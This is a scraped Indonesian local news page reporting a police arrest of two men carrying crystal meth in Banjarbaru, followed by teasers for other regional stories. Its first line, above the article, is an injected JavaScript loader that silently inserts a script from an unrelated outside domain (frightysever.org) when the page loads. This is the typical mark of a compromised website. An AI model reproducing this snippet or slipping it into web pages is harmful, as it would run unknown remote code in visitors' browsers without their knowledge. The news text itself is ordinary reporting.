(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Dua Pemuda Bawa Sabu Dibekuk di Halaman Toko Ritel Modern


KANALKALIMANTAN.COM, BANJARBARU – Satu paket serbuk kristal diduga narkotika jenis sabu didapati dari dua orang pemuda di halaman toko ritel modern, Jalan Mistar Cokrokusumo Kelurahan Cempaka, Kecamatan Cempaka, Kota Banjarbaru.

Anggota Reserse Kriminal (Reskrim) Polsek Cempaka menangkap dua terduga berinisial YSEP (24) dan RS (22) pada Rabu (22/9/2024) sekitar pukul 19.40 Wita.

Menurut keterangan Kapolsek Cempaka, Iptu Ketut Sedemen, terduga pelaku YSEP (24) alias Yoga adalah warga Desa Tungkaran, Kelurahan Sungai Sipai, Martapura, Kabupaten Banjar.

Sedangkan terduga RS (22) alias Risky seorang buruh harian lepas, warga Karang Anyar 1 Kelurahan Banjarbaru Utara.

Baca juga: ULM Ajukan Akreditasi Ulang, Bentuk Tim Reakreditasi

Pelaku diduga pemilik narkotika jenis sabu yang dibekuk di Jalan Mistar Cokrokusumo Cempaka. Foto : Humas Polsek Cempaka

Pelaku diduga pemilik narkotika jenis sabu yang dibekuk di Jalan Mistar Cokrokusumo Cempaka. Foto : Humas Polsek Cempaka

“Unit Reskrim Polsek Cempaka mendapatkan identitas dan berhasil melakukan penangkapan yang saat itu sedang membawa sabu dengan berat kotor 1,44 gram,” ujar Kapolsek Cempaka, Sabtu (28/9/2024).

Barang haram itu, kata dia, ditemukan saat anggota melakukan penggeledahan dari tubuh terduga.

Baca juga: H Fadillah Dilantik Sebagai Ketua DPRD HSU 2024-2029

Polisi mendapatkan satu paket serbuk kristal yang dibungkus plastik klip warna bening di dalam tas selempang warna hijau milik terduga.

“Kedua pemuda tersebut mengakui sabu itu miliknya, setelah ditimbang berat bersihnya adalah 1,02 gram,” jelas Kapolsek.

Barang bukti lain seperti dua buah handphone bermer Vivo Y-16 dan Oppo A-15 warna hitam serta satu unit sepeda motor Honda Scoopy hitam bernopol DA 3122 PU.

Pelaku dan barang bukti dibawa ke Polsek Cempaka guna proses penyelidikan dan penyidikan lebih lanjut.

Baca juga: Di Depan Mahasiswa, Rektor ULM: Tim Siapkan Reakreditasi dalam Dua Bulan

Atas perbuatannya, kedua pelaku diancam hukuman sebagaimana dimaksud dalam pasal 114 ayat (2) sub pasal 112 ayat (2) Undang Undang RI Nomor 35 Tahun 2009 tentang Narkotika.  (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

2 jam ago

KPw BI Kalsel Menggelar Capacity Building Jurnalis 2026

KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More

4 jam ago

‎Gubernur Kalsel Kunjungi Warga Desa Pondok Bababaris

‎KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More

4 jam ago

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

15 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

15 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

20 jam ago

This website uses cookies.